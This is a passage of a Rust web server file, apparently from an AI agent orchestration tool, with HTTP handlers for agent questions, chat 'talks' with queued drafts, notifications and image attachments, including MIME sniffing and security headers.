3342 "queue_rev": revisions.0,
3343 "runs_rev": revisions.1,
3344 "questions_rev": revisions.2,
3345 "talks_rev": revisions.3,
3346 "notifications_rev": revisions.4,
3347 "loop_rev": revisions.5,
3348 });
3349 let Ok(event) = Event::default().event("change").json_data(payload) else {
3351 break;
3352 };
3353 if tx.send(event).await.is_err() {
3354 break;
3355 }
3356 }
3357 });
3358 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3359 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3360}
3361
3362fn runs_revision(runs: &FsPath) -> u64 {
3369 use std::hash::{Hash as _, Hasher as _};
3370
3371 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3372 .into_iter()
3373 .flatten()
3374 .flatten()
3375 .filter_map(|e| {
3376 let path = e.path().join("run.json");
3377 let mtime = path
3378 .metadata()
3379 .ok()?
3380 .modified()
3381 .ok()?
3382 .duration_since(std::time::UNIX_EPOCH)
3383 .ok()?
3384 .as_millis() as u64;
3385 let id = e.file_name().to_string_lossy().into_owned();
3386 Some((id, mtime))
3387 })
3388 .collect();
3389
3390 if entries.is_empty() {
3391 return 0;
3392 }
3393
3394 entries.sort_unstable();
3395 let mut hasher = std::hash::DefaultHasher::new();
3396 for (id, mtime) in &entries {
3397 id.hash(&mut hasher);
3398 mtime.hash(&mut hasher);
3399 }
3400 let h = hasher.finish();
3401 if h == 0 { 1 } else { h }
3402}
3403
3404fn run_ids(runs: &FsPath) -> Vec<String> {
3410 let mut ids: Vec<String> = std::fs::read_dir(runs)
3411 .into_iter()
3412 .flatten()
3413 .flatten()
3414 .filter(|e| e.path().join("run.json").is_file())
3415 .map(|e| e.file_name().to_string_lossy().into_owned())
3416 .collect();
3417 ids.sort_unstable_by(|a, b| b.cmp(a));
3419 ids
3420}
3421
3422fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3424 let path = runs.join(id).join("run.json");
3425 let body =
3426 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3427 let state: RunState =
3428 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3429 if state.schema != run::SCHEMA {
3430 anyhow::bail!(
3431 "run {} was written by a different magi (schema {}, this build speaks {})",
3432 state.id,
3433 state.schema,
3434 run::SCHEMA
3435 );
3436 }
3437 Ok(state)
3438}
3439
3440#[must_use]
3448pub fn runs_unreadable(runs: &FsPath) -> usize {
3449 run_ids(runs)
3450 .into_iter()
3451 .filter(|id| read_run(runs, id).is_err())
3452 .count()
3453}
3454
3455fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3457 if runs.join(id).join("run.json").is_file() {
3458 return Ok(id.to_owned());
3459 }
3460 pick(run_ids(runs), id, "run")
3461}
3462
3463fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3465 if queue.path_of(id).is_file() {
3466 return Ok(id.to_owned());
3467 }
3468 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3469}
3470
3471#[derive(Debug, Serialize)]
3482struct QuestionView {
3483 #[serde(flatten)]
3484 question: Question,
3485 detail_md: Vec<md::Node>,
3486 waiting_on_agent: bool,
3496}
3497
3498impl From<Question> for QuestionView {
3499 fn from(question: Question) -> Self {
3500 let base = md::ImageBase::QuestionPanel {
3501 id: question.id.clone(),
3502 };
3503 Self {
3504 detail_md: md::to_nodes(&question.detail, &base),
3505 waiting_on_agent: question.waiting_on_agent(),
3506 question,
3507 }
3508 }
3509}
3510
3511async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3517 blocking(move || {
3518 Ok(Json(
3519 ui.questions
3520 .list()
3521 .into_iter()
3522 .map(QuestionView::from)
3523 .collect(),
3524 ))
3525 })
3526 .await
3527}
3528
3529async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3532 blocking(move || {
3533 let items = ui.notices.list();
3534 let unread = items.iter().filter(|n| n.unread()).count();
3535 Ok(Json(
3536 serde_json::json!({ "unread": unread, "items": items }),
3537 ))
3538 })
3539 .await
3540}
3541
3542fn notice_error(e: anyhow::Error) -> ApiError {
3543 ApiError::not_found(format!("{e:#}"))
3546}
3547
3548async fn notification_read(
3550 State(ui): State<Arc<Ui>>,
3551 Path(id): Path<String>,
3552) -> ApiResult<Json<Notice>> {
3553 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3554}
3555
3556async fn notification_dismiss(
3558 State(ui): State<Arc<Ui>>,
3559 Path(id): Path<String>,
3560) -> ApiResult<Json<Notice>> {
3561 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3562}
3563
3564async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3566 blocking(move || {
3567 let changed = ui.notices.mark_all_read()?;
3568 Ok(Json(serde_json::json!({ "marked": changed })))
3569 })
3570 .await
3571}
3572
3573#[derive(Debug, Default, Deserialize)]
3579#[serde(default, deny_unknown_fields)]
3580struct NewAnswer {
3581 choice: Option<String>,
3582 text: Option<String>,
3583}
3584
3585async fn question_answer(
3586 State(ui): State<Arc<Ui>>,
3587 Path(id): Path<String>,
3588 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3589) -> ApiResult<Json<QuestionView>> {
3590 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3591 let answer = match (body.choice, body.text) {
3592 (Some(c), None) => Answer::Choice(c),
3593 (None, Some(t)) => Answer::Text(t),
3594 (Some(_), Some(_)) => {
3595 return Err(ApiError::bad_request(
3596 "send either `choice` or `text`, not both",
3597 ));
3598 }
3599 (None, None) => {
3600 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3601 }
3602 };
3603
3604 blocking(move || {
3605 let id = resolve_question(&ui.questions, &id)?;
3606 let mut q = ui
3607 .questions
3608 .get(&id)
3609 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3610 if !q.status.open() {
3611 return Err(ApiError::conflict(format!(
3615 "question {} is already {}",
3616 q.short(),
3617 q.status.as_str()
3618 )));
3619 }
3620 q.answer(answer).map_err(ApiError::bad_request_from)?;
3624 ui.questions.put(&mut q)?;
3625 Ok(Json(QuestionView::from(q)))
3626 })
3627 .await
3628}
3629
3630#[derive(Debug, Deserialize)]
3632#[serde(deny_unknown_fields)]
3633struct NewSay {
3634 body: String,
3635}
3636
3637async fn question_say(
3647 State(ui): State<Arc<Ui>>,
3648 Path(id): Path<String>,
3649 body: std::result::Result<Json<NewSay>, JsonRejection>,
3650) -> ApiResult<Json<QuestionView>> {
3651 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3652 blocking(move || {
3653 let id = resolve_question(&ui.questions, &id)?;
3654 let mut q = ui
3655 .questions
3656 .get(&id)
3657 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3658 if !q.status.open() {
3659 return Err(ApiError::conflict(format!(
3663 "question {} is already {}",
3664 q.short(),
3665 q.status.as_str()
3666 )));
3667 }
3668 q.say(body.body).map_err(ApiError::bad_request_from)?;
3671 ui.questions.put(&mut q)?;
3672 Ok(Json(QuestionView::from(q)))
3673 })
3674 .await
3675}
3676
3677fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3679 if store.path_of(id).is_file() {
3680 return Ok(id.to_owned());
3681 }
3682 pick(
3683 store.list().into_iter().map(|q| q.id).collect(),
3684 id,
3685 "question",
3686 )
3687}
3688
3689async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3704 blocking(move || {
3705 let id = resolve_question(&ui.questions, &id)?;
3706 let Some(html) = ui.questions.panel_html(&id) else {
3707 return Err(ApiError::not_found(format!("question {id} has no panel")));
3708 };
3709 Ok(panel_response(
3710 "text/html; charset=utf-8",
3711 false,
3712 html.into_bytes(),
3713 ))
3714 })
3715 .await
3716}
3717
3718async fn question_asset(
3746 State(ui): State<Arc<Ui>>,
3747 Path((id, name)): Path<(String, String)>,
3748) -> ApiResult<Response> {
3749 if !crate::ask::valid_asset_name(&name) {
3752 return Err(ApiError::bad_request(format!(
3753 "`{name}` is not a usable asset name"
3754 )));
3755 }
3756 blocking(move || {
3757 let id = resolve_question(&ui.questions, &id)?;
3758 let asset = ui
3759 .questions
3760 .panel_asset(&id, &name)
3761 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3762 let Some(bytes) = asset else {
3763 return Err(ApiError::not_found(format!(
3764 "question {id} has no asset `{name}`"
3765 )));
3766 };
3767 Ok(panel_response(
3768 asset_content_type(&name),
3769 is_svg(&name),
3770 bytes,
3771 ))
3772 })
3773 .await
3774}
3775
3776fn asset_content_type(name: &str) -> &'static str {
3789 match extension(name).as_deref() {
3790 Some("png") => "image/png",
3791 Some("jpg" | "jpeg") => "image/jpeg",
3792 Some("gif") => "image/gif",
3793 Some("webp") => "image/webp",
3794 Some("svg") => "image/svg+xml",
3795 Some("css") => "text/css; charset=utf-8",
3796 Some("txt") => "text/plain; charset=utf-8",
3797 _ => "application/octet-stream",
3798 }
3799}
3800
3801fn is_svg(name: &str) -> bool {
3804 extension(name).as_deref() == Some("svg")
3805}
3806
3807fn extension(name: &str) -> Option<String> {
3809 name.rsplit_once('.')
3810 .map(|(_, ext)| ext.to_ascii_lowercase())
3811}
3812
3813fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3830 let mut res = (
3831 [
3832 (header::CONTENT_TYPE, content_type),
3833 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3834 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3835 (header::REFERRER_POLICY, "no-referrer"),
3836 ],
3837 body,
3838 )
3839 .into_response();
3840 if download {
3841 res.headers_mut().insert(
3842 header::CONTENT_DISPOSITION,
3843 HeaderValue::from_static("attachment"),
3844 );
3845 }
3846 res
3847}
3848
3849#[derive(Debug, Serialize)]
3855struct TalkView {
3856 #[serde(flatten)]
3857 talk: Talk,
3858 turn_bodies_md: Vec<Vec<md::Node>>,
3859 thinking: bool,
3867}
3868
3869impl TalkView {
3870 fn new(talk: Talk, thinking: bool) -> Self {
3871 let turn_bodies_md = talk
3872 .turns
3873 .iter()
3874 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3875 .collect();
3876 Self {
3877 turn_bodies_md,
3878 thinking,
3879 talk,
3880 }
3881 }
3882}
3883
3884#[derive(Debug, Serialize)]
3889struct TalkDetailView {
3890 #[serde(flatten)]
3891 view: TalkView,
3892 tasks: Vec<TaskView>,
3893}
3894
3895async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3900 blocking(move || {
3901 Ok(Json(
3902 ui.talks
3903 .list()
3904 .into_iter()
3905 .map(|talk| {
3906 let thinking = ui.is_thinking(&talk.id);
3907 TalkView::new(talk, thinking)
3908 })
3909 .collect(),
3910 ))
3911 })
3912 .await
3913}
3914
3915#[derive(Debug, Default, Deserialize)]
3920#[serde(default)]
3921struct NewTalk {
3922 agent: Option<String>,
3923 repo: Option<PathBuf>,
3924}
3925
3926async fn talk_post(
3929 State(ui): State<Arc<Ui>>,
3930 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3931) -> ApiResult<impl IntoResponse> {
3932 let body = match body {
3936 Ok(Json(body)) => body,
3937 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3938 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3939 };
3940 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3941 let cfg = config_for(&repo).await?;
3942 let view = blocking(move || {
3943 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3944 let thinking = ui.is_thinking(&talk.id);
3945 Ok(TalkView::new(talk, thinking))
3946 })
3947 .await?;
3948 Ok((StatusCode::CREATED, Json(view)))
3949}
3950
3951async fn talk_detail(
3953 State(ui): State<Arc<Ui>>,
3954 Path(id): Path<String>,
3955) -> ApiResult<Json<TalkDetailView>> {
3956 blocking(move || {
3957 let id = resolve_talk(&ui.talks, &id)?;
3958 let talk = ui.talks.get(&id)?;
3959 let thinking = ui.is_thinking(&talk.id);
3960 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3961 .into_iter()
3962 .map(TaskView::from)
3963 .collect();
3964 Ok(Json(TalkDetailView {
3965 view: TalkView::new(talk, thinking),
3966 tasks,
3967 }))
3968 })
3969 .await
3970}
3971
3972#[derive(Debug, Default, Deserialize)]
3978#[serde(default, deny_unknown_fields)]
3979struct NewTalkTurn {
3980 text: String,
3981 attachments: Vec<String>,
3982}
3983
3984#[derive(Debug, Deserialize)]
3985#[serde(deny_unknown_fields)]
3986struct EditTalkPending {
3987 text: String,
3988 expected_text: String,
3989 expected_attachments: Vec<String>,
3990}
3991
3992#[derive(Debug, Deserialize)]
3993#[serde(deny_unknown_fields)]
3994struct ClearTalkPending {
3995 expected_text: String,
3996 expected_attachments: Vec<String>,
3997}
3998
3999async fn talk_say(
4011 State(ui): State<Arc<Ui>>,
4012 Path(id): Path<String>,
4013 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4014) -> ApiResult<(StatusCode, Json<TalkView>)> {
4015 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4016 if body.text.trim().is_empty() && body.attachments.is_empty() {
4017 return Err(ApiError::bad_request("say something"));
4018 }
4019
4020 let id = {
4021 let ui = Arc::clone(&ui);
4022 let asked = id.clone();
4023 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4024 };
4025 {
4029 let ui = Arc::clone(&ui);
4030 let id = id.clone();
4031 blocking(move || {
4032 let talk = ui.talks.get(&id)?;
4033 if !talk.status.open() {
4034 return Err(ApiError::conflict(format!(
4035 "talk {} is {} and takes no more turns",
4036 talk.short(),
4037 talk.status.as_str()
4038 )));
4039 }
4040 Ok(())
4041 })
4042 .await?;
4043 }
4044
4045 let attachments = {
4050 let ui = Arc::clone(&ui);
4051 let id = id.clone();
4052 let ids = body.attachments.clone();
4053 blocking(move || {
4054 ids.into_iter()
4055 .map(|att_id| {
4056 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4057 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4058 })
4059 })
4060 .collect::<ApiResult<Vec<talk::Attachment>>>()
4061 })
4062 .await?
4063 };
4064
4065 let start = {
4070 let ui = Arc::clone(&ui);
4071 let id = id.clone();
4072 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4073 };
4074 let turn_guard = match start {
4075 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4076 TalkTurnStart::Pending => {
4077 return Err(ApiError::conflict(
4078 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4079 ));
4080 }
4081 TalkTurnStart::Busy => {
4082 let (tx, rx) = tokio::sync::oneshot::channel();
4098 tokio::spawn({
4099 let ui = Arc::clone(&ui);
4100 let id = id.clone();
4101 let said = body.text.clone();
4102 async move {
4103 let written = blocking({
4104 let ui = Arc::clone(&ui);
4105 let id = id.clone();
4106 move || {
4107 let mut talk = ui.talks.get(&id)?;
4108 #[cfg(test)]
4113 if let Some(gate) = ui
4114 .busy_queue_gate
4115 .lock()
4116 .unwrap_or_else(PoisonError::into_inner)
4117 .take()
4118 {
4119 let _ = gate.reached.send(());
4120 let _ = gate.release.recv();
4121 }
4122 if let Err(error) =
4123 talk::queue(&mut talk, &ui.talks, &said, attachments)
4124 {
4125 if let Ok(fresh) = ui.talks.get(&id) {
4126 if !fresh.status.open() {
4127 return Err(ApiError::conflict(format!(
4128 "talk {} is {} and takes no more turns",
4129 fresh.short(),
4130 fresh.status.as_str()
4131 )));
4132 }
4133 }
4134 return Err(ApiError::from(error));
4135 }
4136 let claim = match ui.begin_queued_talk_turn(&id)? {
4147 Some(turn_guard) => {
4148 let (cfg, _) = Config::discover(&talk.repo, None)?;
4149 Some((talk.clone(), cfg, turn_guard))
4150 }
4151 None => None,
4152 };
4153 let thinking = ui.is_thinking(&id);
4154 Ok((TalkView::new(talk, thinking), claim))
4155 }
4156 })
4157 .await;
4158 let (view, reclaimed) = match written {
4159 Ok(pair) => pair,
4160 Err(e) => {
4161 let _ = tx.send(Err(e));
4166 return;
4167 }
4168 };
4169 let _ = tx.send(Ok(view));
4172 if let Some((talk, cfg, turn_guard)) = reclaimed {
4173 let talks = ui.talks.clone();
4174 drain_loop(talk, talks, cfg, id, turn_guard).await;
4175 }
4176 }
4177 });
4178 let view = rx
4179 .await
4180 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4181 return Ok((StatusCode::ACCEPTED, Json(view)));
4182 }
4183 };
4184
4185 let (talk, cfg) = {
4186 let ui = Arc::clone(&ui);
4187 let id = id.clone();
4188 blocking(move || {
4189 let talk = ui.talks.get(&id)?;
4190 let (cfg, _) = Config::discover(&talk.repo, None)?;
4191 Ok((talk, cfg))
4192 })
4193 .await?
4194 };
4195
4196 let talks = ui.talks.clone();
4197 let (tx, rx) = tokio::sync::oneshot::channel();
4212 tokio::spawn({
4213 let ui = Arc::clone(&ui);
4214 let talks = talks.clone();
4215 let id = id.clone();
4216 let said = body.text.clone();
4217 let mut talk = talk.clone();
4218 async move {
4219 let recorded = blocking({
4220 let talks = talks.clone();
4221 move || {
4222 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4223 if let Ok(fresh) = talks.get(&talk.id) {
4224 if !fresh.status.open() {
4225 return Err(ApiError::conflict(format!(
4226 "talk {} is {} and takes no more turns",
4227 fresh.short(),
4228 fresh.status.as_str()
4229 )));
4230 }
4231 }
4232 return Err(ApiError::from(error));
4233 }
4234 Ok((said.trim().to_owned(), talk))
4240 }
4241 })
4242 .await;
4243 let (text, mut talk) = match recorded {
4244 Ok(pair) => pair,
4245 Err(e) => {
4246 let _ = tx.send(Err(e));
4250 return;
4251 }
4252 };
4253 let queued = talk.clone();
4254 let thinking = ui.is_thinking(&id);
4255 let _ = tx.send(Ok((queued, thinking)));
4258
4259 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4260 tracing::warn!("talk {id} turn failed: {e:#}");
4264 }
4265 drain_loop(talk, talks, cfg, id, turn_guard).await;
4268 }
4269 });
4270
4271 let (queued, thinking) = rx
4272 .await
4273 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4274
4275 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4277}
4278
4279async fn talk_pending_resume(
4283 State(ui): State<Arc<Ui>>,
4284 Path(id): Path<String>,
4285) -> ApiResult<(StatusCode, Json<TalkView>)> {
4286 let id = {
4287 let ui = Arc::clone(&ui);
4288 let asked = id.clone();
4289 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4290 };
4291 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4292 return Err(ApiError::conflict(
4293 "a talk turn is already running; the queued draft will be handled by it",
4294 ));
4295 };
4296 let (talk, cfg) = {
4297 let ui = Arc::clone(&ui);
4298 let id = id.clone();
4299 blocking(move || {
4300 let talk = ui.talks.get(&id)?;
4301 if !talk.status.open() {
4302 return Err(ApiError::conflict(format!(
4303 "talk {} is {} and takes no more turns",
4304 talk.short(),
4305 talk.status.as_str()
4306 )));
4307 }
4308 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4309 return Err(ApiError::conflict("there is no queued draft to resume"));
4310 }
4311 let (cfg, _) = Config::discover(&talk.repo, None)?;
4312 Ok((talk, cfg))
4313 })
4314 .await?
4315 };
4316 let view = TalkView::new(talk.clone(), true);
4317 let talks = ui.talks.clone();
4318 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4319 Ok((StatusCode::ACCEPTED, Json(view)))
4320}
4321
4322async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4338 let live_set = Arc::clone(&turn.turns);
4339 let mut turn = Some(turn);
4347 loop {
4348 let observed = live_set
4352 .lock()
4353 .unwrap_or_else(PoisonError::into_inner)
4354 .queued
4355 .get(&id)
4356 .copied()
4357 .unwrap_or(0);
4358 let drained = blocking({
4359 let talks = talks.clone();
4360 move || {
4361 let result = talk::drain(&mut talk, &talks);
4362 Ok((talk, result))
4363 }
4364 })
4365 .await;
4366 let (next_talk, result) = match drained {
4367 Ok(drained) => drained,
4368 Err(e) => {
4369 tracing::warn!(
4370 status = %e.status,
4371 message = %e.message,
4372 "talk {id} could not start queued-text drain"
4373 );
4374 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4375 turn.take()
4376 .expect("held for the whole loop until released here")
4377 .release(&mut live);
4378 break;
4379 }
4380 };
4381 talk = next_talk;
4382 let drained = match result {
4383 Ok(Some(drained)) => drained,
4384 Ok(None) => {
4385 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4386 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4387 continue;
4388 }
4389 turn.take()
4390 .expect("held for the whole loop until released here")
4391 .release(&mut live);
4392 break;
4393 }
4394 Err(e) => {
4395 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4396 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4397 turn.take()
4398 .expect("held for the whole loop until released here")
4399 .release(&mut live);
4400 break;
4401 }
4402 };
4403 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4404 tracing::warn!("talk {id} turn failed: {e:#}");
4405 }
4406 }
4407}
4408
4409async fn talk_pending_clear(
4411 State(ui): State<Arc<Ui>>,
4412 Path(id): Path<String>,
4413 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4414) -> ApiResult<Json<TalkView>> {
4415 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4416 blocking(move || {
4417 let id = resolve_talk(&ui.talks, &id)?;
4418 let mut talk = ui.talks.get(&id)?;
4419 if !talk.status.open() {
4420 return Err(ApiError::conflict(format!(
4421 "talk {} is {} and takes no more turns",
4422 talk.short(),
4423 talk.status.as_str()
4424 )));
4425 }
4426 if !talk::clear_pending_if_matches(
4427 &mut talk,
4428 &ui.talks,
4429 &body.expected_text,
4430 &body.expected_attachments,
4431 )? {
4432 return Err(ApiError::conflict(
4433 "queued message changed; reload it before clearing",
4434 ));
4435 }
4436 let thinking = ui.is_thinking(&talk.id);
4437 Ok(Json(TalkView::new(talk, thinking)))
4438 })
4439 .await
4440}
4441
4442async fn talk_pending_edit(
4446 State(ui): State<Arc<Ui>>,
4447 Path(id): Path<String>,
4448 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4449) -> ApiResult<Json<TalkView>> {
4450 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4451 let (view, reclaimed) = blocking({
4452 let ui = Arc::clone(&ui);
4453 move || {
4454 let id = resolve_talk(&ui.talks, &id)?;
4455 let mut talk = ui.talks.get(&id)?;
4456 if !talk.status.open() {
4457 return Err(ApiError::conflict(format!(
4458 "talk {} is {} and takes no more turns",
4459 talk.short(),
4460 talk.status.as_str()
4461 )));
4462 }
4463 if !talk::edit_pending_text(
4464 &mut talk,
4465 &ui.talks,
4466 &body.text,
4467 &body.expected_text,
4468 &body.expected_attachments,
4469 )? {
4470 return Err(ApiError::conflict(
4471 "queued message changed; reload it before editing",
4472 ));
4473 }
4474 let claim = match ui.begin_queued_talk_turn(&id)? {
4475 Some(turn_guard) => {
4476 let (cfg, _) = Config::discover(&talk.repo, None)?;
4477 Some((talk.clone(), cfg, id.clone(), turn_guard))
4478 }
4479 None => None,
4480 };
4481 let thinking = ui.is_thinking(&id);
4482 Ok((TalkView::new(talk, thinking), claim))
4483 }
4484 })
4485 .await?;
4486 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4487 let talks = ui.talks.clone();
4488 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4489 }
4490 Ok(Json(view))
4491}
4492
4493async fn talk_close(
4495 State(ui): State<Arc<Ui>>,
4496 Path(id): Path<String>,
4497) -> ApiResult<Json<TalkView>> {
4498 blocking(move || {
4499 let id = resolve_talk(&ui.talks, &id)?;
4500 let mut talk = ui.talks.get(&id)?;
4501 talk::close(&mut talk, &ui.talks)?;
4502 let thinking = ui.is_thinking(&talk.id);
4503 Ok(Json(TalkView::new(talk, thinking)))
4504 })
4505 .await
4506}
4507
4508async fn talk_reopen(
4510 State(ui): State<Arc<Ui>>,
4511 Path(id): Path<String>,
4512) -> ApiResult<Json<TalkView>> {
4513 blocking(move || {
4514 let id = resolve_talk(&ui.talks, &id)?;
4515 let mut talk = ui.talks.get(&id)?;
4516 talk::reopen(&mut talk, &ui.talks)?;
4517 let thinking = ui.is_thinking(&talk.id);
4518 Ok(Json(TalkView::new(talk, thinking)))
4519 })
4520 .await
4521}
4522
4523async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4533 blocking(move || {
4534 let id = resolve_talk(&ui.talks, &id)?;
4535 ui.talks.remove(&id)?;
4536 Ok(StatusCode::NO_CONTENT)
4537 })
4538 .await
4539}
4540
4541fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4543 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4544}
4545
4546async fn talk_attachment_post(
4549 State(ui): State<Arc<Ui>>,
4550 Path(id): Path<String>,
4551 headers: HeaderMap,
4552 body: Bytes,
4553) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4554 let mime = validate_attachment(&headers, &body)?;
4555 let name = filename_header(&headers);
4556 let data = body.to_vec();
4557 blocking(move || {
4558 let id = resolve_talk(&ui.talks, &id)?;
4559 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4560 Ok((StatusCode::CREATED, Json(att)))
4561 })
4562 .await
4563}
4564
4565async fn talk_attachment_get(
4568 State(ui): State<Arc<Ui>>,
4569 Path((id, att)): Path<(String, String)>,
4570) -> ApiResult<Response> {
4571 blocking(move || {
4572 let id = resolve_talk(&ui.talks, &id)?;
4573 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4574 return Err(ApiError::not_found(format!(
4575 "talk {id} has no attachment `{att}`"
4576 )));
4577 };
4578 Ok(attachment_response(&meta.mime, data))
4579 })
4580 .await
4581}
4582
4583fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4594 if data.len() > ATTACHMENT_MAX_BYTES {
4595 return Err(ApiError::bad_request(format!(
4596 "attachment is {} bytes, over the {} MiB limit",
4597 data.len(),
4598 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4599 ))
4600 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4601 }
4602 if data.is_empty() {
4603 return Err(ApiError::bad_request("attachment is empty"));
4604 }
4605 let declared = declared_mime(headers)?;
4606 match sniffed_mime(data) {
4607 Some(sniffed) if sniffed == declared => Ok(declared),
4608 Some(sniffed) => Err(ApiError::bad_request(format!(
4609 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4610 ))),
4611 None => Err(ApiError::bad_request(
4612 "the file's bytes do not match any accepted image format",
4613 )),
4614 }
4615}
4616
4617fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4621 let raw = headers
4622 .get(header::CONTENT_TYPE)
4623 .and_then(|v| v.to_str().ok())
4624 .unwrap_or("")
4625 .split(';')
4626 .next()
4627 .unwrap_or("")
4628 .trim()
4629 .to_ascii_lowercase();
4630 ATTACHMENT_MIME_WHITELIST
4631 .iter()
4632 .find(|&&m| m == raw)
4633 .copied()
4634 .ok_or_else(|| {
4635 if raw == "image/svg+xml" {
4636 ApiError::bad_request(
4637 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4638 not just a picture",
4639 )
4640 } else if raw.is_empty() {
4641 ApiError::bad_request("Content-Type is required for an attachment upload")
4642 } else {
4643 ApiError::bad_request(format!(
4644 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4645 image/gif or image/webp"
4646 ))
4647 }
4648 })
4649}
4650
4651fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4654 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4655 Some("image/png")
4656 } else if data.starts_with(b"\xff\xd8\xff") {
4657 Some("image/jpeg")
4658 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4659 Some("image/gif")
4660 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4661 Some("image/webp")
4662 } else {
4663 None
4664 }
4665}
4666
4667fn filename_header(headers: &HeaderMap) -> String {
4673 headers
4674 .get(FILENAME_HEADER)
4675 .and_then(|v| v.to_str().ok())
4676 .map(str::trim)
4677 .filter(|s| !s.is_empty())
4678 .unwrap_or("attachment")
4679 .to_owned()
4680}
4681
4682fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4689 let content_type = ATTACHMENT_MIME_WHITELIST
4690 .iter()
4691 .find(|&&m| m == mime)
4692 .copied()
4693 .unwrap_or("application/octet-stream");
4694 (
4695 [
4696 (header::CONTENT_TYPE, content_type),
4697 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4698 ],
4699 body,
4700 )
4701 .into_response()
4702}
4703
4704async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4712 let repo = repo.to_path_buf();
4713 blocking(move || {
4714 let (cfg, _) = Config::discover(&repo, None)?;
4715 Ok(cfg)
4716 })
4717 .await
4718}
4719
4720fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4726 let mut hits = ids
4727 .into_iter()
4728 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4729 match (hits.next(), hits.next()) {
